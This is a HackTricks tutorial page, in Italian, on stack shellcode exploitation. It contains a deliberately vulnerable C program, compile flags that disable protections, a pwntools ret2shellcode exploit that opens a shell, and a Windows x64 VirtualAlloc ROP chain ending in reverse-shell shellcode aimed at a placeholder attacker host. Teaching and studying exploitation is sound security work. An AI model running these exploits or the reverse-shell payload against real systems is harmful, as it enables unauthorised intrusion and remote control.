Stack Shellcode
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Stack shellcode è una tecnica usata in binary exploitation in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il Instruction Pointer (IP) o il Extended Instruction Pointer (EIP) per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico usato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, incluso un semplice esempio in C e come potresti scrivere un exploit corrispondente usando Python con pwntools.
Esempio in C: un programma vulnerabile
Iniziamo con un semplice esempio di un programma C vulnerabile:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Questo programma è vulnerabile a un buffer overflow a causa dell'uso della funzione gets()
.
Compilazione
Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi usare il seguente comando:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Disabilita la protezione dello stack.-z execstack
: Rende lo stack eseguibile, necessario per eseguire shellcode memorizzata nello stack.-no-pie
: Disabilita Position Independent Executable, rendendo più facile prevedere l'indirizzo di memoria dove il nostro shellcode si troverà.-m32
: Compila il programma come eseguibile a 32-bit, spesso usato per semplicità nello sviluppo di exploit.
Exploit Python usando pwntools
Ecco come potresti scrivere un exploit in Python usando pwntools per eseguire un attacco ret2shellcode:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Questo script costruisce un payload composto da una NOP slide, il shellcode, e poi sovrascrive la EIP con l'indirizzo che punta alla NOP slide, assicurando che il shellcode venga eseguito.
La NOP slide (asm('nop')
) è usata per aumentare la probabilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento di p32()
all'indirizzo iniziale del tuo buffer più un offset per atterrare nella NOP slide.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
Su Windows moderni lo stack è non eseguibile (DEP/NX). Un metodo comune per eseguire comunque shellcode residenti nello stack dopo un stack BOF è costruire una ROP chain a 64-bit che chiama VirtualAlloc (o VirtualProtect) dalla Import Address Table (IAT) del modulo per rendere una regione dello stack eseguibile e poi ritornare al shellcode aggiunto subito dopo la chain.
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → scegli un indirizzo nello stack corrente (es., RSP) così che la regione RWX appena allocata si sovrapponga al tuo payload
- RDX = dwSize → abbastanza grande per la tua chain + shellcode (es., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
- Leak a module base (e.g., via a format-string, object pointer, etc.) per calcolare gli indirizzi assoluti di gadget e IAT sotto ASLR.
- Trova gadget per caricare RCX/RDX/R8/R9 (sequenze basate su pop o mov/xor) e una call/jmp [VirtualAlloc@IAT]. Se non hai pop r8/r9 diretti, usa gadget aritmetici per sintetizzare le costanti (es., imposta r8=0 e aggiungi ripetutamente r9=0x40 quaranta volte per arrivare a 0x1000).
- Posiziona lo stage-2 shellcode immediatamente dopo la chain.
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
Con un set di gadget limitato, puoi costruire valori di registri indirettamente, per esempio:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → imposta r9 con il valore di rbx, azzera r8 e compensa lo stack con un junk qword.
- xor rbx, rsp; ret → inizializza rbx con l'attuale stack pointer.
- push rbx; pop rax; mov rcx, rax; ret → sposta un valore derivato da RSP in RCX.
Esempio Pwntools (data una base nota e gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
Suggerimenti:
-
VirtualProtect funziona in modo simile se rendere un buffer esistente RX è preferibile; l'ordine dei parametri è diverso.
-
Se lo spazio sullo stack è limitato, allocare RWX altrove (RCX=NULL) e jmp a quella nuova regione invece di riutilizzare lo stack.
-
Considerare sempre i gadget che aggiustano RSP (e.g., add rsp, 8; ret) inserendo junk qwords.
-
ASLR dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra esecuzioni, altrimenti l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
-
Stack Canaries dovrebbero essere inoltre disabilitati, altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito.
-
NX la protezione dello stack impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarebbe eseguibile.
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR con stack address leak, scrivi shellcode e salta a esso
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR con stack leak, scrivi shellcode e salta a esso
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR con stack leak, confronto per evitare la chiamata a exit(), sovrascrivere una variabile con un valore, scrivere shellcode e saltare a esso
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, no ASLR, ROP gadget per rendere lo stack eseguibile e saltare al shellcode nello stack
References
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.